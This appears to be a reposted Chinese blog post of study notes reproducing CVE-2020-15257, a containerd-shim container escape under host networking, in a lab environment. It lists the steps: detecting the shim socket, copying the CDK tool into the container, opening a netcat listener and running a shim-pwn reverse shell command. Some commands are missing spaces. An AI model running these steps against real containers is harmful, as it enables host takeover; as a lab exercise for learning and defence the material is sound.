学习札记-漏洞复现-CVE-2020-15257

admin 2023年2月23日10:54:35评论17 views字数 1050阅读3分30秒阅读模式
声明:公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本公众号无关。

环境搭建

metarget:

./metarget cnv install cve-2020-15257


启动漏洞环境:

./sudo docker run -it --net=host --name=15257 ubuntu /bin/bash

场景介绍

    Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共用一套Network namespace,(在network namespace中,网络设备、端口、套接字、网络协议栈、路由表、防火墙规则等都是独立的用来隔离网络环境),也就是说此时容器网络无隔离。

    此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

    containerd-shim --是运行容器的载体,每一个容器都对应一个进程,起着守护进程的作用,保持所有的STDIN和STDOUT流是开启状态,且父进程为containerd。

漏洞复现

工具-CDK

https://github.com/cdk-team/CDK/releases/

步骤

通过命令是否能够查看套接字,判断其为host模式

cat/proc/net/unix|grep -a "containerd-shim"

学习札记-漏洞复现-CVE-2020-15257

CDK传入容器

sudodocker cp cdk_linux_amd64 15257:/tmp 
sudo docker exec -it 15257 bash

学习札记-漏洞复现-CVE-2020-15257

攻击机开启监听

nc-lvp port < cdk

学习札记-漏洞复现-CVE-2020-15257

切换到tmp路径下执行

./cdkrun shim-pwn reverse ip port

学习札记-漏洞复现-CVE-2020-15257

原文始发于微信公众号(Th0r安全):学习札记-漏洞复现-CVE-2020-15257

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月23日10:54:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   学习札记-漏洞复现-CVE-2020-15257https://cn-sec.com/archives/1568696.html

发表评论

匿名网友 填写信息